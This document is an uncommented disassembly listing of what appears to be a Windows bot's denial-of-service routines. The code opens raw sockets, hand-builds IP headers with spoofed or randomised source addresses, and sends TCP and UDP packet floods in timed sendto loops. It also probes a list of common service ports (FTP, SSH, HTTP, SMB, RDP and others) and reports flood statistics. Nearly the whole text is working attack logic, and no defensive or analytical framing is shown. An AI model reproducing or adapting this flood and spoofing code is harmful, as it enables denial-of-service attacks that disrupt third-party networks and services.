		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408BC1
		add	esp, 14h


loc_41308C:				; CODE XREF: sub_412BE2+485j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413F3A
		push	[ebp+var_BC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread


loc_4130AC:				; CODE XREF: sub_412BE2+416j
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_4396C0
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_4186E0
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41310A
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_408BC1
		add	esp, 14h


loc_41310A:				; CODE XREF: sub_412BE2+503j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_413F3A
		push	[ebp+var_BC]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4240CC	; ExitThread
sub_412BE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41312A	proc near		; CODE XREF: sub_413233+196p
					; sub_413233+1FFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp+arg_4], esi
		jle	short loc_413158
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_41314A:				; CODE XREF: sub_41312A+28j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_41314A
		pop	edi
		cmp	ecx, 1


loc_413158:				; CODE XREF: sub_41312A+12j
		jnz	short loc_413165
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_413165:				; CODE XREF: sub_41312A:loc_413158j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_41312A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41317E	proc near		; DATA XREF: sub_401AA1+6305o

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4184D9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CDF20	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_413233
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_4397EC
		push	eax
		call	sub_4185E6
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_413216
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_408BC1
		add	esp, 14h


loc_413216:				; CODE XREF: sub_41317E+76j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_413F3A
		push	[ebp+var_10]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
sub_41317E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413233	proc near		; CODE XREF: sub_41317E+54p

var_C8		= byte ptr -0C8h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_9E		= word ptr -9Eh
var_9C		= byte ptr -9Ch
var_88		= byte ptr -88h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= word ptr -46h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, dword_4240A8
		push	edi
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CDF60	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		mov	ebx, 578h
		push	ebx
		push	9
		push	1
		call	sub_415DD7
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		mov	esi, 5A0h


loc_41328C:				; CODE XREF: sub_413233+224j
		call	dword_4240A8	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_41345C
		cmp	dword_4D1664, 0
		jnz	short loc_41330B
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDE8C	; getsockname
		push	0FFh
		push	1
		call	sub_415DD7
		push	eax
		movzx	eax, [ebp+var_5E]
		push	eax
		movzx	eax, [ebp+var_5F]
		push	eax
		movzx	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_C8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_4185E6
		add	esp, 20h
		jmp	short loc_41331E
; ---------------------------------------------------------------------------


loc_41330B:				; CODE XREF: sub_413233+7Ej
		lea	eax, [ebp+var_C8]
		push	offset dword_4D1048
		push	eax
		call	sub_418C10
		pop	ecx
		pop	ecx


loc_41331E:				; CODE XREF: sub_413233+D6j
		lea	eax, [ebp+var_C8]
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	edi, eax
		mov	eax, [ebp+var_54]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_50], 10h
		mov	[ebp+var_54], eax
		call	dword_4CDEE4	; htons
		mov	[ebp+var_4E], ax
		call	sub_418642
		and	[ebp+var_46], 0
		mov	[ebp+var_4C], ax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4A], 40h
		mov	[ebp+var_48], 40h
		mov	[ebp+var_47], 6
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], eax
		call	sub_418642
		mov	[ebp+var_3C], ax
		call	sub_418642
		mov	[ebp+var_3A], ax
		call	sub_418642
		mov	[ebp+var_38], eax
		call	sub_418642
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_30]
		and	al, 50h
		mov	edi, [ebp+var_40]
		or	al, 50h
		and	[ebp+var_2A], 0
		and	[ebp+var_28], 0
		mov	word ptr [ebp+var_30], ax
		mov	ax, [ebp+var_3A]
		push	14h
		mov	[ebp+var_72], ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	byte ptr [ebp+var_30+2], 18h
		mov	[ebp+var_2C], 787Dh
		mov	[ebp+var_74], 2
		mov	[ebp+var_70], edi
		call	sub_41312A
		and	[ebp+var_A0], 0
		pop	ecx
		pop	ecx
		mov	[ebp+var_46], ax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], edi
		mov	[ebp+var_9F], 6
		call	dword_4241F4	; htons
		mov	[ebp+var_9E], ax
		lea	eax, [ebp+var_9C]
		push	14h
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_88]
		push	ebx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_419070
		lea	eax, [ebp+var_A8]
		push	598h
		push	eax
		call	sub_41312A
		add	esp, 20h
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_74]
		push	10h
		push	eax
		push	0
		push	esi
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+var_8]
		call	dword_4CDF44	; sendto
		inc	[ebp+var_4]
		jmp	loc_41328C
; ---------------------------------------------------------------------------


loc_41345C:				; CODE XREF: sub_413233+71j
		push	[ebp+var_8]
		call	dword_4CDF78	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413233	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41346D	proc near		; DATA XREF: sub_401AA1+4404o

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_4134E3
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_439820
		push	eax
		call	sub_4185E6
		add	esp, 220h
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413F3A
		push	[ebp+var_10]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	0
		call	dword_4240CC	; ExitThread
sub_41346D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134E3	proc near		; CODE XREF: sub_41346D+3Bp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4CDF60	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_413521
		lea	eax, [ebp+var_254]
		push	offset unk_439A18
		push	eax
		call	sub_4185E6
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_4137E7
; ---------------------------------------------------------------------------


loc_413521:				; CODE XREF: sub_4134E3+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4CDEC4	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41354D
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		push	offset unk_4399C8
		jmp	short loc_413568
; ---------------------------------------------------------------------------


loc_41354D:				; CODE XREF: sub_4134E3+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4CDF20	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41357C
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		push	offset unk_439980


loc_413568:				; CODE XREF: sub_4134E3+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		jmp	loc_4137E7
; ---------------------------------------------------------------------------


loc_41357C:				; CODE XREF: sub_4134E3+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4CDEE4	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_42421C	; inet_addr
		mov	esi, dword_4240A8
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_439954
		push	eax
		call	sub_4185E6
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_4135E5
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h


loc_4135E5:				; CODE XREF: sub_4134E3+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_4184D9
		cmp	esi, eax
		pop	ecx
		ja	loc_41379E
		mov	esi, 41Ch
		jmp	short loc_413619
; ---------------------------------------------------------------------------


loc_413614:				; CODE XREF: sub_4134E3+2B5j
		mov	ebx, 0FFh


loc_413619:				; CODE XREF: sub_4134E3+12Fj
		cmp	dword_4D1664, edi
		jnz	short loc_413671
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDE8C	; getsockname
		push	ebx
		push	1
		call	sub_415DD7
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_4185E6
		add	esp, 20h
		jmp	short loc_413681
; ---------------------------------------------------------------------------


loc_413671:				; CODE XREF: sub_4134E3+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4D1048
		push	eax
		call	sub_418C10
		pop	ecx
		pop	ecx


loc_413681:				; CODE XREF: sub_4134E3+18Cj
		push	esi
		mov	byte_4D1248, 45h
		call	dword_4CDEE4	; htons
		mov	word_4D124A, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4D124C, 1
		mov	word_4D124E, di
		mov	byte_4D1250, 80h
		mov	byte_4D1251, 11h
		mov	word_4D1252, di
		call	dword_4CDF20	; inet_addr
		mov	dword_4D1254, eax
		mov	eax, [ebp+var_20]
		mov	dword_4D1258, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	word_4D1262, di
		call	sub_4184D9
		test	eax, eax
		pop	ecx
		jnz	short loc_4136F9
		call	sub_418642
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_413707
; ---------------------------------------------------------------------------


loc_4136F9:				; CODE XREF: sub_4134E3+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_4184D9
		pop	ecx
		push	eax


loc_413707:				; CODE XREF: sub_4134E3+214j
		call	dword_4CDEE4	; htons
		mov	word_4D125E, ax
		call	sub_418642
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4D125C, dx
		call	dword_4CDEE4	; htons
		push	400h
		mov	word_4D1260, ax
		call	sub_418642
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4D1264
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4D1248
		push	[ebp+var_C]
		call	dword_4CDF44	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_413816
		inc	[ebp+var_4]
		call	dword_4240A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_4184D9
		cmp	ebx, eax
		pop	ecx
		jbe	loc_413614


loc_41379E:				; CODE XREF: sub_4134E3+124j
		push	[ebp+var_C]
		call	dword_4CDF78	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_4184D9
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_4398F0
		push	eax
		call	sub_4185E6
		add	esp, 1Ch


loc_4137E7:				; CODE XREF: sub_4134E3+39j
					; sub_4134E3+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_41380F
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h


loc_41380F:				; CODE XREF: sub_4134E3+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_4134E3+289j
		push	[ebp+var_4]
		push	esi
		call	dword_4CDE80	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_439860
		push	eax
		call	sub_4185E6
		add	esp, 18h
		jmp	short loc_4137E7
sub_4134E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41383B	proc near		; DATA XREF: sub_401AA1+5AA0o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_4184D9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_4184D9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4CDF20	; inet_addr
		push	eax
		call	sub_4139D5
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_439A44
		push	eax
		call	sub_4185E6
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4138CD
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_408BC1
		add	esp, 14h


loc_4138CD:				; CODE XREF: sub_41383B+70j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_413F3A
		push	[ebp+var_10]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_41383B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4138EC	proc near		; CODE XREF: sub_4139D5+184p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_413915
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4241F8	; connect
		jmp	loc_4139D1
; ---------------------------------------------------------------------------


loc_413915:				; CODE XREF: sub_4138EC+13j
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	eax
		inc	edi
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4241E0	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CDE90	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4CDECC	; select
		test	eax, eax
		jnz	short loc_413979
		or	eax, 0FFFFFFFFh
		jmp	short loc_4139D1
; ---------------------------------------------------------------------------


loc_413979:				; CODE XREF: sub_4138EC+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_413984


loc_413980:				; CODE XREF: sub_4138EC+B8j
					; sub_4138EC+DCj
		mov	eax, edi
		jmp	short loc_4139D1
; ---------------------------------------------------------------------------


loc_413984:				; CODE XREF: sub_4138EC+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4233D6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4139A6
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_4233D6	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_413980


loc_4139A6:				; CODE XREF: sub_4138EC+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4241CC	; getsockopt
		cmp	eax, edi
		jz	short loc_413980
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_4139D1:				; CODE XREF: sub_4138EC+24j
					; sub_4138EC+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4138EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4139D5	proc near		; CODE XREF: sub_41383B+51p

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		xor	eax, eax
		push	ebx
		push	esi
		inc	eax
		push	edi
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		mov	[ebp+var_10], eax
		pop	esi
		push	esi
		push	2
		call	dword_4241F0	; WSASocketA
		lea	ecx, [ebp+var_10]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4D16C8, eax
		call	dword_4CDEC4	; setsockopt
		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_FC]
		pop	ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_78], ecx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_100], ebx
		mov	[ebp+var_18], esi
		mov	[ebp+var_88], 401h
		mov	[ebp+var_84], 15h
		mov	[ebp+var_80], 16h
		mov	[ebp+var_7C], 17h
		mov	[ebp+var_74], 35h
		mov	[ebp+var_70], 50h
		mov	[ebp+var_6C], 51h
		mov	[ebp+var_68], 58h
		mov	[ebp+var_64], 6Eh
		mov	[ebp+var_60], 71h
		mov	[ebp+var_5C], 77h
		mov	[ebp+var_58], 87h
		mov	[ebp+var_54], 89h
		mov	[ebp+var_50], 8Bh
		mov	[ebp+var_4C], 8Fh
		mov	[ebp+var_48], 1BBh
		mov	[ebp+var_44], 1BDh
		mov	[ebp+var_40], 400h
		mov	[ebp+var_3C], 599h
		mov	[ebp+var_38], 5DCh
		mov	[ebp+var_34], 6B8h
		mov	[ebp+var_30], 0CEAh
		mov	[ebp+var_2C], 0D3Dh
		mov	[ebp+var_28], 1388h
		mov	[ebp+var_24], 1A0Bh
		mov	[ebp+var_20], 1F40h
		mov	[ebp+var_1C], 1F90h
		mov	[ebp+var_C], ebx
		rep stosd
		mov	[ebp+var_14], 0BB8h
		xor	esi, esi


loc_413B13:				; CODE XREF: sub_4139D5+1ACj
		mov	eax, [ebp+arg_0]
		lea	edi, [ebp+esi+var_88]
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		mov	ax, [edi]
		push	eax
		call	dword_4CDEE4	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_96], ax
		call	dword_4CDF60	; socket
		lea	ecx, [ebp+var_18]
		mov	[ebp+var_8], eax
		push	ecx
		lea	ecx, [ebp+var_98]
		push	10h
		push	ecx
		push	eax
		call	sub_4138EC
		add	esp, 10h
		mov	[ebp+var_4], eax
		push	[ebp+var_8]
		call	dword_4CDF78	; closesocket
		cmp	[ebp+var_4], ebx
		jnz	short loc_413B7B
		mov	eax, [edi]
		mov	[ebp+esi+var_108], eax


loc_413B7B:				; CODE XREF: sub_4139D5+19Bj
		add	esi, 4
		cmp	esi, 70h
		jl	short loc_413B13
		mov	esi, offset dword_4D16D0
		push	offset asc_42FF7C ; " "
		push	esi
		call	sub_4185E6
		mov	edi, dword_4240A8
		pop	ecx
		pop	ecx
		call	edi	; GetTickCount
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ebx


loc_413BA3:				; CODE XREF: sub_4139D5+225j
		call	edi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_413BFC
		mov	eax, [ebp+var_4]
		mov	eax, [ebp+eax*4+var_108]
		cmp	eax, ebx
		jz	short loc_413BD9
		push	eax
		push	esi
		push	offset aSD	; "%s%d	"
		push	esi
		mov	[ebp+var_C], eax
		call	sub_4185E6
		add	esp, 10h
		jmp	short loc_413BF3
; ---------------------------------------------------------------------------


loc_413BD9:				; CODE XREF: sub_4139D5+1EDj
		push	0FFFFh
		push	ebx
		call	sub_415DD7
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CDEE4	; htons
		movzx	eax, ax
		mov	[ebp+var_C], eax


loc_413BF3:				; CODE XREF: sub_4139D5+202j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 1Ch
		jl	short loc_413BA3


loc_413BFC:				; CODE XREF: sub_4139D5+1DFj
					; sub_4139D5+45Ej
		push	28h
		push	ebx
		push	offset byte_4D166C
		call	sub_4182F0
		mov	esi, 0FFFFh
		mov	byte_4D166C, 45h
		push	esi
		push	400h
		mov	byte_4D1675, 6
		mov	byte_4D166D, 8
		call	sub_415DD7
		add	esp, 14h
		push	eax
		call	dword_4CDEE4	; htons
		push	28h
		mov	word_4D1670, ax
		call	dword_4CDEE4	; htons
		or	byte_4D1674, 0FFh
		cmp	dword_4D1664, ebx
		mov	word_4D166E, ax
		mov	word_4D1672, bx
		jnz	short loc_413C7C
		push	0FFFEh
		push	1
		call	sub_415DD7
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_413C87
